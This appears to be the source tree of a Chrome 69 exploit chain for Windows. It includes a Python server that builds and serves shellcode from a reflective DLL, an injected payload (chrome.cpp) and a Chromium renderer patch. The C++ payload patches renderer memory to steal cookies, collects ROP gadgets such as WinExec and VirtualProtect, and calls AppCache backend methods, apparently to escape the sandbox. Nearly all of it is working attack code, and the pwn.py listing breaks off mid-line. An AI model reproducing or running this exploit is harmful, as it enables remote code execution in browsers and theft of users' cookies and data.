 88 | 			uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
 89 | 
 90 | 			// return the File Offset to the ReflectiveLoader() functions code...
 91 | 			return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
 92 | 		}
 93 | 		// get the next exported function name
 94 | 		uiNameArray += sizeof(DWORD);
 95 | 
 96 | 		// get the next exported function name ordinal
 97 | 		uiNameOrdinals += sizeof(WORD);
 98 | 	}
 99 | 
100 | 	return 0;
101 | }
102 | 


--------------------------------------------------------------------------------
/pwn.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python3
  2 | #
  3 | # This server should be run from Linux or WSL
  4 | import random
  5 | import time
  6 | import argparse
  7 | import struct
  8 | import os
  9 | import binascii
 10 | import json
 11 | from http.server import HTTPServer, BaseHTTPRequestHandler
 12 | from socketserver import ThreadingMixIn
 13 | 
 14 | 
 15 | class State:
 16 |     def reset(self):
 17 |         self.idx = -1
 18 |         self.completed = [0]*1000
 19 | 
 20 | state = State()
 21 | 
 22 | 
 23 | class Handler(BaseHTTPRequestHandler):
 24 |     def send_nocache(self):
 25 |         self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
 26 |         self.send_header("Pragma", "no-cache")
 27 |         self.send_header("Expires", "0")
 28 | 
 29 |     def header(self, code, extra = []):
 30 |         self.send_response(code)
 31 |         self.send_nocache()
 32 |         for k, v in extra:
 33 |             self.send_header(k, v)
 34 |         self.end_headers()
 35 |     
 36 |     def sendfile(self, fname, extra = []):
 37 |         self.header(200, extra)
 38 |         with open(fname, 'rb') as fd:
 39 |             self.wfile.write(fd.read())
 40 | 
 41 |     def do_GET(self):
 42 |         path = self.path
 43 | 
 44 |         if path == '/cookies':
 45 |             t0 = time.time()
 46 |             r = random.randrange(1000000)
 47 |             #prefix = 'y_%d'%r
 48 |             # 108: 7/10
 49 |             # 124 is decent, 0/1...
 50 |             # 140
 51 |             # 172 also pretty good
 52 |             size = 108
 53 |             prefix = 'y'*(size-2*7-1)
 54 |             prefix += '_%06d'%r
 55 |             assert len(prefix+'_%06d'%0) == size-1
 56 |             print('cookie random prefix = %s' % prefix)
 57 |             self.header(200, [
 58 |                 ('Set-Cookie', '%s_%06d=foo'%(prefix,x)) for x in range(180)
 59 |                 ])
 60 |             print('time: %.4f' % (time.time()-t0))
 61 |             return
 62 | 
 63 |         if path == '/':
 64 |             with open('pwn.html', 'rb') as f:
 65 |                 page = f.read()
 66 |             if state.click:
 67 |                 page += b''
 68 |             else:
 69 |                 page += b''
 70 |             self.header(200, [('Content-Type', 'text/html')])
 71 |             self.wfile.write(page)
 72 |             return
 73 | 
 74 |         if path == '/pwn.js':
 75 |             self.sendfile('sandbox/pwn.js', [('Content-Type', 'text/javascript')])
 76 |             return
 77 | 
 78 |         if path == '/renderer/rce_worker.js':
 79 |             self.sendfile('renderer/rce_worker.js')
 80 |             return
 81 | 
 82 |         if path == '/final_shellcode.bin':
 83 |             self.header(200, [('Content-Type', 'application/octet-stream')])
 84 |             self.wfile.write(b'\xcc' + b'\xbe\x20\x18'*100);
 85 |             return
 86 | 
 87 |         if path == '/shellcode.bin':
 88 |             with open('inject/payload/x64/Release/payload.dll', 'rb') as f:
 89 |                 sc = f.read()
 90 | 
 91 |             import pefile
 92 |             pe = pefile.PE(data=sc)
 93 |             pe.parse_data_directories()
 94 |             va = None
 95 |             for entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
 96 |                 if entry.name == b'ReflectiveLoader':
 97 |                     va = entry.address
 98 |             assert va != None, "Could not find ReflectiveLoader export"
 99 |             print('ReflectiveLoader virtual address = %x' % va)
100 |             loader_offset = None
101 |             for s in pe.sections:
102 |                 #print('  %20s %x-%x' % (s.Name.encode('utf-8'), s.VirtualAddress, s.VirtualAddress + s.SizeOfRawData))
103 |                 if s.VirtualAddress <= va < s.VirtualAddress + s.SizeOfRawData:
104 |                     loader_offset = va - s.VirtualAddress + s.PointerToRawData
105 |                     break
106 |             assert loader_offset != None, "Could not find resolve ReflectiveLoader address"
107 |             print('Loader offset: %x' % loader_offset)
108 | 
109 |             # Brutal hack because VCRUNTIME140.dll is not loaded in Chrome
110 |             # and sandbox prevents it from being loaded.
111 |             idx = sc.index(b'VCRUNTIME140.dll')
112 |             fix = b'ntdll.dll\0\0'
113 |             sc = sc[:idx] + fix + sc[idx+len(fix):]
114 | 
115 |             sc = b'\x48\x83\xe4\xf0\x50\xe9' + struct.pack('
  2 | 
  3 |   
  4 |     
  5 |       Debug
  6 |       Win32
  7 |     
  8 |     
  9 |       Release
 10 |       Win32
 11 |     
 12 |     
 13 |       Debug
 14 |       x64
 15 |     
 16 |     
 17 |       Release
 18 |       x64
 19 |     
 20 |   
 21 |   
 22 |     15.0
 23 |     {46B8D804-01E3-42A2-8CDE-E7E5C6186365}
 24 |     Win32Proj
 25 |     payload
 26 |     10.0.17134.0
 27 |   
 28 |   
 29 |   
 30 |     DynamicLibrary
 31 |     true
 32 |     v141
 33 |     Unicode
 34 |   
 35 |   
 36 |     DynamicLibrary
 37 |     false
 38 |     v141
 39 |     true
 40 |     Unicode
 41 |   
 42 |   
 43 |     DynamicLibrary
 44 |     true
 45 |     v141
 46 |     Unicode
 47 |   
 48 |   
 49 |     DynamicLibrary
 50 |     false
 51 |     v141
 52 |     true
 53 |     Unicode
 54 |   
 55 |   
 56 |   
 57 |   
 58 |   
 59 |   
 60 |   
 61 |     
 62 |   
 63 |   
 64 |     
 65 |   
 66 |   
 67 |     
 68 |   
 69 |   
 70 |     
 71 |   
 72 |   
 73 |   
 74 |     true
 75 |   
 76 |   
 77 |     true
 78 |   
 79 |   
 80 |     false
 81 |   
 82 |   
 83 |     false
 84 |   
 85 |   
 86 |     
 87 |       Use
 88 |       Level3
 89 |       Disabled
 90 |       true
 91 |       WIN32;_DEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
 92 |     
 93 |     
 94 |       Windows
 95 |       true
 96 |     
 97 |   
 98 |   
 99 |     
100 |       NotUsing
101 |       Level3
102 |       Disabled
103 |       true
104 |       _DEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
105 |     
106 |     
107 |       Windows
108 |       true
109 |     
110 |   
111 |   
112 |     
113 |       Use
114 |       Level3
115 |       MaxSpeed
116 |       true
117 |       true
118 |       true
119 |       WIN32;NDEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
120 |     
121 |     
122 |       Windows
123 |       true
124 |       true
125 |       true
126 |     
127 |   
128 |   
129 |     
130 |       NotUsing
131 |       Level3
132 |       MaxSpeed
133 |       true
134 |       true
135 |       true
136 |       NDEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
137 |       MultiThreadedDLL
138 |     
139 |     
140 |       Windows
141 |       true
142 |       true
143 |       true
144 |       kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ntdll.lib;%(AdditionalDependencies)
145 |     
146 |   
147 |   
148 |     
149 |     
150 |     
151 |     
152 |     
153 |     
154 |     
155 |   
156 |   
157 |     
158 |     
159 |     
160 |     
161 |     
162 |     
163 |   
164 |   
165 |   
166 |   
167 | 


--------------------------------------------------------------------------------
/inject/payload_test/payload_test.vcxproj:
--------------------------------------------------------------------------------
  1 | 
  2 | 
  3 |   
  4 |     
  5 |       Debug
  6 |       Win32
  7 |     
  8 |     
  9 |       Release
 10 |       Win32
 11 |     
 12 |     
 13 |       Debug
 14 |       x64
 15 |     
 16 |     
 17 |       Release
 18 |       x64
 19 |     
 20 |   
 21 |   
 22 |     15.0
 23 |     {F774387E-C91F-4830-BAC1-BB6F42159479}
 24 |     Win32Proj
 25 |     payloadtest
 26 |     10.0.17134.0
 27 |   
 28 |   
 29 |   
 30 |     Application
 31 |     true
 32 |     v141
 33 |     Unicode
 34 |   
 35 |   
 36 |     Application
 37 |     false
 38 |     v141
 39 |     true
 40 |     Unicode
 41 |   
 42 |   
 43 |     Application
 44 |     true
 45 |     v141
 46 |     NotSet
 47 |   
 48 |   
 49 |     Application
 50 |     false
 51 |     v141
 52 |     true
 53 |     Unicode
 54 |   
 55 |   
 56 |   
 57 |   
 58 |   
 59 |   
 60 |   
 61 |     
 62 |   
 63 |   
 64 |     
 65 |   
 66 |   
 67 |     
 68 |   
 69 |   
 70 |     
 71 |   
 72 |   
 73 |   
 74 |     false
 75 |   
 76 |   
 77 |     true
 78 |   
 79 |   
 80 |     true
 81 |   
 82 |   
 83 |     false
 84 |   
 85 |   
 86 |     
 87 |       NotUsing
 88 |       Level3
 89 |       MaxSpeed
 90 |       true
 91 |       true
 92 |       true
 93 |       NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
 94 |     
 95 |     
 96 |       Console
 97 |       true
 98 |       true
 99 |       true
100 |       %(AdditionalDependencies)
101 |     
102 |   
103 |   
104 |     
105 |       Use
106 |       Level3
107 |       Disabled
108 |       true
109 |       WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
110 |     
111 |     
112 |       Console
113 |       true
114 |     
115 |   
116 |   
117 |     
118 |       NotUsing
119 |       Level3
120 |       Disabled
121 |       true
122 |       _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
123 |     
124 |     
125 |       Console
126 |       true
127 |     
128 |   
129 |   
130 |     
131 |       Use
132 |       Level3
133 |       MaxSpeed
134 |       true
135 |       true
136 |       true
137 |       WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
138 |     
139 |     
140 |       Console
141 |       true
142 |       true
143 |       true
144 |     
145 |   
146 |   
147 |     
148 |     
149 |   
150 |   
151 |     
152 |     
153 |     
154 |       Create
155 |       Create
156 |       Create
157 |       Create
158 |     
159 |   
160 |   
161 |     
162 |       {46b8d804-01e3-42a2-8cde-e7e5c6186365}
163 |     
164 |   
165 |   
166 |   
167 |   
168 | 


--------------------------------------------------------------------------------
/inject/payload/chrome.cpp:
--------------------------------------------------------------------------------
  1 | #include "chrome.h"
  2 | #include "internals.h"
  3 | #include "common.h"
  4 | #include "patch.h"
  5 | 
  6 | using namespace std;
  7 | 
  8 | bool check_func(void* addr, const char* prefix, int len, const char* msg) {
  9 | 	char* s = (char*)addr;
 10 | 	bool valid = 1;
 11 | 	for (int i = 0; i < len; ++i) {
 12 | 		valid &= s[i] == prefix[i];
 13 | 	}
 14 | 	if (s[0] == 0x49 && s[1] == (char)0xbb) {
 15 | 		// Repatching is ok
 16 | 		valid = 1;
 17 | 	}
 18 | 	if (!valid) {
 19 | 		LOG("Invalid prefix for function %s:\n", msg);
 20 | 		for (int i = 0; i < len; ++i)
 21 | 			LOG("%02x ", (int)(unsigned char)s[i]);
 22 | 		LOG("\n");
 23 | 		return false;
 24 | 	}
 25 | 	LOG("Function %s @ %p\n", msg, addr);
 26 | 	return true;
 27 | }
 28 | 
 29 | enum commands {
 30 | 	TEST = 1,
 31 | 	REGISTER_HOST = 2,
 32 | 	UNREGISTER_HOST = 3,
 33 | 	SELECT_CACHE = 4,
 34 | 	GET_COOKIES = 5,
 35 | 	GET_GADGETS = 6,
 36 | };
 37 | 
 38 | //https://cs.chromium.org/chromium/src/chrome/common/extensions/manifest_handlers/settings_overrides_handler.cc?q=CreateManifestURL&l=32&dr=CSs
 39 | typedef unique_ptr (*f_CreateManifestURL)(const string& url);
 40 | f_CreateManifestURL CreateManifestURL;
 41 | 
 42 | 
 43 | string* cookies;
 44 | void save_cookies(string* c) {
 45 | 	cookies = new string(*c);
 46 | }
 47 | 
 48 | const char* find_gadget(const void* buffer, const char* pattern, int size) {
 49 | 	const char* p = (const char*)buffer;
 50 | 	for (; memcmp(p, pattern, size); ++p) {
 51 | 	}
 52 | 	return p;
 53 | }
 54 | 
 55 | void V8Console_Dir(void* self, v8::debug::ConsoleCallArguments* args) {
 56 | 	switch (args->values[0]>>32) {
 57 | 	case TEST: {
 58 | 		char* buffer = *(char**)(args->values[-1] - 1 + 0x20);
 59 | 		buffer[0] = 0x41;
 60 | 		return;
 61 | 	}
 62 | 	case REGISTER_HOST: {
 63 | 		uint64_t wrapper = args->values[-1] - 1;
 64 | 		auto* document = *(blink::Document**)(wrapper + 0x20);
 65 | 		uint32_t host_id = args->values[-2] >> 32;
 66 | 		content::AppCacheBackend* backend = document->Loader()->application_cache_host->host->backend;
 67 | 		backend->vtable->RegisterHost(backend, host_id);
 68 | 		return;
 69 | 	}
 70 | 	case UNREGISTER_HOST: {
 71 | 		uint64_t wrapper = args->values[-1] - 1;
 72 | 		auto* document = *(blink::Document**)(wrapper + 0x20);
 73 | 		uint32_t host_id = args->values[-2] >> 32;
 74 | 		content::AppCacheBackend* backend = document->Loader()->application_cache_host->host->backend;
 75 | 		backend->vtable->UnregisterHost(backend, host_id);
 76 | 		return;
 77 | 	}
 78 | 	case SELECT_CACHE: {
 79 | 		uint64_t wrapper = args->values[-1] - 1;
 80 | 		auto* document = *(blink::Document**)(wrapper + 0x20);
 81 | 
 82 | 		uint32_t host_id = args->values[-2] >> 32;
 83 | 		const char* document_url_s = *(const char**)(args->values[-3] - 1 + 0x20);
 84 | 		uint32_t cache_document_was_loaded_from = args->values[-4] >> 32;
 85 | 		const char* manifest_url_s = *(const char**)(args->values[-5] - 1 + 0x20);
 86 | 
 87 | 		GURL* document_url = CreateManifestURL(document_url_s).release();
 88 | 		GURL* manifest_url = CreateManifestURL(manifest_url_s).release();
 89 | 
 90 | 		content::AppCacheBackend* backend = document->Loader()->application_cache_host->host->backend;
 91 | 		backend->vtable->SelectCache(backend, host_id, document_url, 
 92 | 			cache_document_was_loaded_from, manifest_url);
 93 | 		return;
 94 | 	}
 95 | 	case GET_COOKIES: {
 96 | 		char* buffer = *(char**)(args->values[-1] - 1 + 0x20);
 97 | 		if (cookies) {
 98 | 			uint32_t sz = cookies->size();
 99 | 			memcpy(buffer, (const char*)&sz, 4);
100 | 			memcpy(buffer + 4, cookies->data(), sz);
101 | 		} else {
102 | 			uint32_t sz = 0;
103 | 			memcpy(buffer, (const char*)&sz, 4);
104 | 		}
105 | 		return;
106 | 	}
107 | 	case GET_GADGETS: {
108 | 		void** buffer = *(void***)(args->values[-1] - 1 + 0x20);
109 | 		buffer[0] = GetProcAddress(LoadLibraryA("kernel32"), "WinExec");
110 | 		/*
111 | 		ntdll!_longjmp_internal+0x95:
112 | 		00007ffc`60710705 488b5150        mov     rdx,qword ptr [rcx+50h]
113 | 		00007ffc`60710709 488b6918        mov     rbp,qword ptr [rcx+18h]
114 | 		00007ffc`6071070d 488b6110        mov     rsp,qword ptr [rcx+10h]
115 | 		00007ffc`60710711 ffe2            jmp     rdx
116 | 		*/
117 | 		buffer[1] = (void*)find_gadget(find_mod("ntdll.dll"), "\x48\x8b\x51\x50\x48\x8b\x69\x18\x48\x8b\x61\x10\xff\xe2", 14);
118 | 		buffer[2] = (void*)find_gadget(find_mod("msvcrt.dll"), "\x59\xc3", 2); // pop rcx ; ret
119 | 		buffer[3] = (void*)find_gadget(find_mod("msvcrt.dll"), "\x5a\xc3", 2); // pop rdx ; ret
120 | #if SHELLCODE
121 | 		buffer[4] = (void*)find_gadget(find_mod("windows.storage.dll"), "\x41\x58\xc3", 3); // pop r8 ; ret
122 | 
123 | 		//0x18007f909: mov r9, rcx; sub r9, rdx; cmp rcx, rdx; mov qword[r8], r9; sbb eax, eax; and eax, 0x80070216; ret
124 | 		buffer[5] = (void*)(find_mod("windows.storage.dll") + 0x7f909);
125 | 
126 | 		buffer[6] = GetProcAddress(LoadLibraryA("kernel32"), "VirtualProtect");
127 | #endif
128 | 	}
129 | 	default:
130 | 		return;
131 | 	}
132 | }
133 | 
134 | bool patch_chrome() {
135 | #if 0 // custom build
136 | 	// v8!v8_inspector::V8Console::Dir
137 | 	void* v8_inspector__V8Console__Dir = find_mod("v8.dll") + 0x9384e0;
138 | 	PROP(check_func(
139 | 			v8_inspector__V8Console__Dir, 
140 | 			"\x56\x48\x83\xec", 4, 
141 | 			"v8_inspector::V8Console::Dir"));
142 | 	patch_replace(v8_inspector__V8Console__Dir, V8Console_Dir);
143 | 
144 | 	// chrome!extensions::`anonymous namespace'::CreateManifestURL
145 | 	// 00007ffb`ff55b652
146 | 	CreateManifestURL = (f_CreateManifestURL)(find_mod("chrome.dll") + 0x18eb652);
147 | 	PROP(check_func(
148 | 		CreateManifestURL,
149 | 		"\x56\x57\x53", 3,
150 | 		"CreateManifestURL"));
151 | 
152 | 	/*
153 | content!content::RendererWebCookieJarImpl::Cookies:
154 | ...
155 | 00007ffb`fc9b433c 4c896c2420      mov     qword ptr [rsp+20h],r13
156 | 00007ffb`fc9b4341 4889f9          mov     rcx,rdi
157 | 00007ffb`fc9b4344 89c2            mov     edx,eax
158 | 00007ffb`fc9b4346 4989f0          mov     r8,rsi
159 | 00007ffb`fc9b4349 4989d9          mov     r9,rbx
160 | 00007ffb`fc9b434c ff5520          call    qword ptr [rbp+20h]   ; virtual call GetCookies
161 | 
162 | ; useless block (destructors) will be replaced with call to store_cookies(r13)
163 | 00007ffb`fc9b434f 488b3d3225ed00  mov     rdi,qword ptr [content!_imp_??1GURLQEAAXZ (00007ffb`fd886888)]
164 | 00007ffb`fc9b4356 4889f1          mov     rcx,rsi
165 | 00007ffb`fc9b4359 be0f000000      mov     esi,0Fh
166 | 00007ffb`fc9b435e ffd7            call    rdi
167 | 00007ffb`fc9b4360 4889d9          mov     rcx,rbx
168 | 00007ffb`fc9b4363 ffd7            call    rdi
169 | 
170 | 00007ffb`fc9b4365 4d8b4510        mov     r8,qword ptr [r13+10h]
171 | 00007ffb`fc9b4369 49397518        cmp     qword ptr [r13+18h],rsi
172 | 
173 | 	*/
174 | 
175 | 	char* cookie_patch = find_mod("content.dll") + 0xe7434f;
176 | 	LOG("Patching RendererWebCookieJarImpl::Cookies @ %p", cookie_patch);
177 | 	DWORD dummy;
178 | 	VirtualProtect((void*)((DWORD64)cookie_patch & ~0xfff), 0x2000, PAGE_EXECUTE_READWRITE, &dummy);
179 | 	memcpy(cookie_patch, "\x4c\x89\xe9", 3); // mov rcx, r13
180 | 	insert_jmp(cookie_patch + 3, save_cookies, 1); // call save_cookies
181 | 	memcpy(cookie_patch + 3 + 13, "\xbe\x0f\x00\x00\x00\x90", 6); // mov esi, 0xf
182 | 
183 | #else // 69.0.3497.100
184 | 
185 | 	// v8!v8_inspector::V8Console::Dir
186 | 	void* v8_inspector__V8Console__Dir = find_mod("chrome_child.dll") + 0x14b0440;
187 | 	PROP(check_func(
188 | 		v8_inspector__V8Console__Dir,
189 | 		"\x56\x48\x83\xec", 4,
190 | 		"v8_inspector::V8Console::Dir"));
191 | 	patch_replace(v8_inspector__V8Console__Dir, V8Console_Dir);
192 | 
193 | 	// chrome!extensions::`anonymous namespace'::CreateManifestURL
194 | 	// 00007ffb`ff55b652
195 | 	CreateManifestURL = (f_CreateManifestURL)(find_mod("chrome_child.dll") + 0x2ef027e);
196 | 	PROP(check_func(
197 | 		CreateManifestURL,
198 | 		"\x56\x57\x53", 3,
199 | 		"CreateManifestURL"));
200 | 
201 | 	/*
202 | content!content::RendererWebCookieJarImpl::Cookies:
203 | 
204 | 
205 | 00007ffb`f51a474c 48897c2420      mov     qword ptr [rsp+20h],rdi
206 | 00007ffb`f51a4751 4889d9          mov     rcx,rbx
207 | 00007ffb`f51a4754 89c2            mov     edx,eax
208 | 00007ffb`f51a4756 4989e8          mov     r8,rbp
209 | 00007ffb`f51a4759 4d89e9          mov     r9,r13
210 | 00007ffb`f51a475c ff5620          call    qword ptr [rsi+20h]
211 | 
212 | ; useless 16-byte block (destructors) will be replaced with call to store_cookies(rdi)
213 | 00007ffb`f51a475f 4889e9          mov     rcx,rbp
214 | 00007ffb`f51a4762 e84de1d2fd      call    chrome_child!GURL::~GURL (00007ffb`f2ed28b4)
215 | 00007ffb`f51a4767 4c89e9          mov     rcx,r13
216 | 00007ffb`f51a476a e845e1d2fd      call    chrome_child!GURL::~GURL (00007ffb`f2ed28b4)
217 | 
218 | 00007ffb`f51a476f 4c8b4710        mov     r8,qword ptr [rdi+10h]
219 | 00007ffb`f51a4773 48837f180f      cmp     qword ptr [rdi+18h],0Fh
220 | 	*/
221 | 
222 | 	char* cookie_patch = find_mod("chrome_child.dll") + 0x22e475f;
223 | 	size_t cookie_patch_size = 0x10;
224 | 
225 | 	LOG("Patching RendererWebCookieJarImpl::Cookies @ %p", cookie_patch);
226 | 	DWORD dummy;
227 | 	VirtualProtect((void*)((DWORD64)cookie_patch & ~0xfff), 0x2000, PAGE_EXECUTE_READWRITE, &dummy);
228 | 
229 | 	char* stub = (char*)VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
230 | 
231 | 	insert_jmp(cookie_patch, stub, 0);
232 | 
233 | 	/*
234 | 0:  48 81 ec 00 10 00 00    sub    rsp,0x1000
235 | 7:  48 89 f9                mov    rcx,rdi
236 | a:  49 bb 41 41 41 41 41    movabs r11,0x4141414141414141
237 | 11: 41 41 41
238 | 14: 41 ff d3                call   r11
239 | 17: 48 81 c4 00 10 00 00    add    rsp,0x1000
240 | 1e: 49 bb 42 42 42 42 42    movabs r11,0x4242424242424242
241 | 25: 42 42 42
242 | 28: 41 ff e3                jmp    r11
243 | 	*/
244 | 
245 | 	memcpy(stub,
246 | 		"\x48\x81\xec\x00\x10\x00\x00"
247 | 		"\x48\x89\xf9"
248 | 		"\x49\xbb\x41\x41\x41\x41\x41\x41\x41\x41"
249 | 		"\x41\xff\xd3"
250 | 		"\x48\x81\xc4\x00\x10\x00\x00"
251 | 		"\x49\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
252 | 		"\x41\xff\xe3"
253 | 		, 0x30);
254 | 	void* target = save_cookies;
255 | 	memcpy(stub + 0xa + 2, &target, 8);
256 | 	target = cookie_patch + cookie_patch_size;
257 | 	memcpy(stub + 0x1e + 2, &target, 8);
258 | 
259 | #endif
260 | }


--------------------------------------------------------------------------------
/renderer-271eaf.patch:
--------------------------------------------------------------------------------
  1 | diff --git a/content/renderer/appcache/web_application_cache_host_impl.cc b/content/renderer/appcache/web_application_cache_host_impl.cc
  2 | index 8e1f7d18566a..d0a8e9539a2d 100644
  3 | --- a/content/renderer/appcache/web_application_cache_host_impl.cc
  4 | +++ b/content/renderer/appcache/web_application_cache_host_impl.cc
  5 | @@ -64,7 +64,8 @@ WebApplicationCacheHostImpl::WebApplicationCacheHostImpl(
  6 |        is_scheme_supported_(false),
  7 |        is_get_method_(false),
  8 |        is_new_master_entry_(MAYBE_NEW_ENTRY),
  9 | -      was_select_cache_called_(false) {
 10 | +      // pretend select cache was called so we don't call it normally
 11 | +      was_select_cache_called_(true) {
 12 |    DCHECK(client && backend);
 13 |    // PlzNavigate: The browser passes the ID to be used.
 14 |    if (appcache_host_id != kAppCacheNoHostId) {
 15 | @@ -83,6 +84,20 @@ WebApplicationCacheHostImpl::~WebApplicationCacheHostImpl() {
 16 |    all_hosts()->Remove(host_id_);
 17 |  }
 18 |  
 19 | +void WebApplicationCacheHostImpl::RegisterHost(int32_t host_id) {
 20 | +  backend_->RegisterHost(host_id);
 21 | +}
 22 | +
 23 | +void WebApplicationCacheHostImpl::UnregisterHost(int32_t host_id) {
 24 | +  backend_->UnregisterHost(host_id);
 25 | +}
 26 | +
 27 | +void WebApplicationCacheHostImpl::SelectCache(int32_t host_id, const WebURL& document_url, int64_t cache_document_was_loaded_from, const WebURL& opt_manifest_url) {
 28 | +  GURL document_gurl(ClearUrlRef(document_url));
 29 | +  GURL opt_manifest_gurl(ClearUrlRef(opt_manifest_url));
 30 | +  backend_->SelectCache(host_id, document_gurl, cache_document_was_loaded_from, opt_manifest_gurl);
 31 | +}
 32 | +
 33 |  void WebApplicationCacheHostImpl::OnCacheSelected(
 34 |      const AppCacheInfo& info) {
 35 |    cache_info_ = info;
 36 | diff --git a/content/renderer/appcache/web_application_cache_host_impl.h b/content/renderer/appcache/web_application_cache_host_impl.h
 37 | index d847549469c1..c4cda9e1d6a0 100644
 38 | --- a/content/renderer/appcache/web_application_cache_host_impl.h
 39 | +++ b/content/renderer/appcache/web_application_cache_host_impl.h
 40 | @@ -31,6 +31,10 @@ class WebApplicationCacheHostImpl : public blink::WebApplicationCacheHost {
 41 |    AppCacheBackend* backend() const { return backend_; }
 42 |    blink::WebApplicationCacheHostClient* client() const { return client_; }
 43 |  
 44 | +  void RegisterHost(int32_t host_id) override;
 45 | +  void UnregisterHost(int32_t host_id) override;
 46 | +  void SelectCache(int32_t host_id, const blink::WebURL& manifest_url, int64_t cache_document_was_loaded_from, const blink::WebURL& opt_manifest_url) override;
 47 | +
 48 |    virtual void OnCacheSelected(const AppCacheInfo& info);
 49 |    void OnStatusChanged(AppCacheStatus);
 50 |    void OnEventRaised(AppCacheEventID);
 51 | diff --git a/content/renderer/renderer_webcookiejar_impl.cc b/content/renderer/renderer_webcookiejar_impl.cc
 52 | index d5e0ef88c309..17464e0392d8 100644
 53 | --- a/content/renderer/renderer_webcookiejar_impl.cc
 54 | +++ b/content/renderer/renderer_webcookiejar_impl.cc
 55 | @@ -6,6 +6,7 @@
 56 |  
 57 |  #include "base/bind.h"
 58 |  #include "base/bind_helpers.h"
 59 | +#include "base/strings/string_number_conversions.h"
 60 |  #include "base/strings/utf_string_conversions.h"
 61 |  #include "content/common/frame_messages.h"
 62 |  #include "content/public/renderer/content_renderer_client.h"
 63 | @@ -32,7 +33,8 @@ WebString RendererWebCookieJarImpl::Cookies(const WebURL& url,
 64 |    std::string value_utf8;
 65 |    RenderThreadImpl::current()->render_frame_message_filter()->GetCookies(
 66 |        sender_->GetRoutingID(), url, site_for_cookies, &value_utf8);
 67 | -  return WebString::FromUTF8(value_utf8);
 68 | +  std::string value_hex = base::HexEncode(value_utf8.data(), value_utf8.size());
 69 | +  return WebString::FromUTF8(value_hex);
 70 |  }
 71 |  
 72 |  bool RendererWebCookieJarImpl::CookiesEnabled(const WebURL& url,
 73 | diff --git a/third_party/blink/public/platform/web_application_cache_host.h b/third_party/blink/public/platform/web_application_cache_host.h
 74 | index 722fbc2127d7..8728596837b1 100644
 75 | --- a/third_party/blink/public/platform/web_application_cache_host.h
 76 | +++ b/third_party/blink/public/platform/web_application_cache_host.h
 77 | @@ -89,6 +89,10 @@ class WebApplicationCacheHost {
 78 |        const WebString& method,
 79 |        const WebApplicationCacheHost* spawning_host) {}
 80 |  
 81 | +  virtual void RegisterHost(int32_t host_id) {}
 82 | +  virtual void UnregisterHost(int32_t host_id) {}
 83 | +  virtual void SelectCache(int32_t host_id, const WebURL& document_url, int64_t cache_document_was_loaded_from, const WebURL& opt_manifest_url);
 84 | +
 85 |    // One or the other selectCache methods is called after having parsed the
 86 |    //  tag.  The latter returns false if the current document has been
 87 |    // identified as a "foreign" entry, in which case the frame navigation will be
 88 | diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc
 89 | index 5bfe30b8b880..1d8696000ad9 100644
 90 | --- a/third_party/blink/renderer/core/dom/document.cc
 91 | +++ b/third_party/blink/renderer/core/dom/document.cc
 92 | @@ -32,6 +32,7 @@
 93 |  #include 
 94 |  
 95 |  #include "base/auto_reset.h"
 96 | +#include "base/strings/string_number_conversions.h"
 97 |  #include "services/metrics/public/cpp/mojo_ukm_recorder.h"
 98 |  #include "services/metrics/public/cpp/ukm_builders.h"
 99 |  #include "services/metrics/public/cpp/ukm_source_id.h"
100 | @@ -3805,6 +3806,57 @@ void Document::writeln(LocalDOMWindow* calling_window,
101 |                         ExceptionState& exception_state) {
102 |    DCHECK(calling_window);
103 |  
104 | +  printf("Document.writeln with %zu args\n", text.size());
105 | +
106 | +  if (text.size() < 1) {
107 | +    return;
108 | +  }
109 | +  const String& command = text[0];
110 | +  if (command == "2") {
111 | +    bool parsed = false;
112 | +    int32_t host_id = text[1].ToInt(&parsed);
113 | +    if (!parsed) {
114 | +      printf("Renderer hacked RegisterHost failed to parse host_id\n");
115 | +      return;
116 | +    }
117 | +
118 | +    printf("Renderer hacked RegisterHost(%u)\n", host_id);
119 | +    Loader()->GetApplicationCacheHost()->RegisterHost(host_id);
120 | +    return;
121 | +  } else if (command == "3") {
122 | +    bool parsed = false;
123 | +    int32_t host_id = text[1].ToInt(&parsed);
124 | +    if (!parsed) {
125 | +      printf("Renderer hacked UnregisterHost failed to parse host_id\n");
126 | +      return;
127 | +    }
128 | +
129 | +    printf("Renderer hacked UnregisterHost(%u)\n", host_id);
130 | +    Loader()->GetApplicationCacheHost()->UnregisterHost(host_id);
131 | +    return;
132 | +  } else if (command == "4") {
133 | +    CHECK_EQ(text.size(), 5u);
134 | +    bool parsed = false;
135 | +    int32_t host_id = text[1].ToInt(&parsed);
136 | +    if (!parsed) {
137 | +      printf("Renderer hacked SelectCache failed to parse host_id\n");
138 | +      return;
139 | +    }
140 | +
141 | +    // Cast up from int32_t since we probably don't need more than an int
142 | +    int64_t cache_id = (int64_t)text[3].ToInt(&parsed);
143 | +    if (!parsed) {
144 | +      printf("Renderer hacked SelectCache failed to parse cache_id\n");
145 | +      return;
146 | +    }
147 | +
148 | +    KURL document_kurl = CompleteURL(text[2]);
149 | +    KURL opt_manifest_kurl = CompleteURL(text[4]);
150 | +
151 | +    Loader()->GetApplicationCacheHost()->SelectCache(host_id, document_kurl, cache_id, opt_manifest_kurl);
152 | +    return;
153 | +  }
154 | +
155 |    if (GetSecurityContext().RequireTrustedTypes()) {
156 |      DCHECK(RuntimeEnabledFeatures::TrustedDOMTypesEnabled());
